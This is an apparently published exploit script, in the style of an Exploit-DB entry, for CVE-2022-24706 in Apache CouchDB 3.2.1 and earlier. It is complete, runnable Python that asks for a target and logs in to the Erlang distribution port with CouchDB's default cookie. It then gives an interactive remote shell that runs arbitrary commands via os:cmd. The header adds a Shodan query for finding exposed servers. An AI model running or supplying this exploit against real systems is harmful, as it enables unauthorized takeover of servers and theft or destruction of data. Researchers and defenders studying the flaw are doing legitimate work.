1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE) # Date: 2022-01-21 # Exploit Author: Konstantin Burov, @_sadshade # Software Link: https://couchdb.apache.org/ # Version: 3.2.1 and below # Tested on: Kali 2021.2 # Based on 1F98D's Erlang Cookie - Remote Code Execution # Shodan: port:4369 "name couchdb at" # CVE: CVE-2022-24706 # References: #https://habr.com/ru/post/661195/ #https://www.exploit-db.com/exploits/49418 #https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ #https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce # # #!/usr/local/bin/python3 import socket from hashlib import md5 import struct import sys import re import time TARGET = "" EPMD_PORT = 4369 # Default Erlang distributed port COOKIE = "monster" # Default Erlang cookie for CouchDB ERLNAG_PORT = 0 EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list # Some data: NAME_MSG= b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA" CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04" CTRL_DATA= b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03" CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex" def compile_cmd(CMD): MSG= b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00" MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k" MSG += struct.pack(">H", len(CMD)) MSG += bytes(CMD, 'ascii') MSG += b'jw\x04user' PAYLOAD = b'\x70' + CTRL_DATA + MSG PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD return PAYLOAD print("Remote Command Execution via Erlang Distribution Protocol.\n") while not TARGET: TARGET = input("Enter target host:\n> ") # Connect to EPMD: try: epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) epm_socket.connect((TARGET, EPMD_PORT)) except socket.error as msg: print("Couldnt connect to EPMD: %s\n terminating program" % msg) sys.exit(1) epm_socket.send(EPM_NAME_CMD) #request Erlang nodes if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK data = epm_socket.recv(1024) data = data[0:len(data) - 1].decode('ascii') data = data.split("\n") if len(data) == 1: choise = 1 print("Found " + data[0]) else: print("\nMore than one node found, choose which one to use:") line_number = 0 for line in data: line_number += 1 print(" %d) %s" %(line_number, line)) choise = int(input("\n> ")) ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0]) else: print("Node list request error, exiting") sys.exit(1) epm_socket.close() # Connect to Erlang port: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, ERLNAG_PORT)) except socket.error as msg: print("Couldnt connect to Erlang server: %s\n terminating program" % msg) sys.exit(1) s.send(NAME_MSG) s.recv(5)# Receive "ok" message challenge = s.recv(1024) # Receive "challenge" message challenge = struct.unpack(">I", challenge[9:13])[0] #print("Extracted challenge: {}".format(challenge)) # Add Challenge Digest CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii") + bytes(str(challenge), "ascii")).digest() s.send(CHALLENGE_REPLY) CHALLENGE_RESPONSE = s.recv(1024) if len(CHALLENGE_RESPONSE) == 0: print("Authentication failed, exiting") sys.exit(1) print("Authentication successful") print("Enter command:\n") data_size = 0 while True: if data_size <= 0: CMD = input("> ") if not CMD: continue elif CMD == "exit": sys.exit(0) s.send(compile_cmd(CMD)) data_size = struct.unpack(">I", s.recv(4))[0] # Get data size s.recv(45)# Control message data_size -= 45 # Data size without control message time.sleep(0.1) elif data_size < 1024: data = s.recv(data_size) #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data))) time.sleep(0.1) print(data.decode()) data_size = 0 else: data = s.recv(1024) #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data))) time.sleep(0.1) print(data.decode(),end = '') data_size -= 1024 |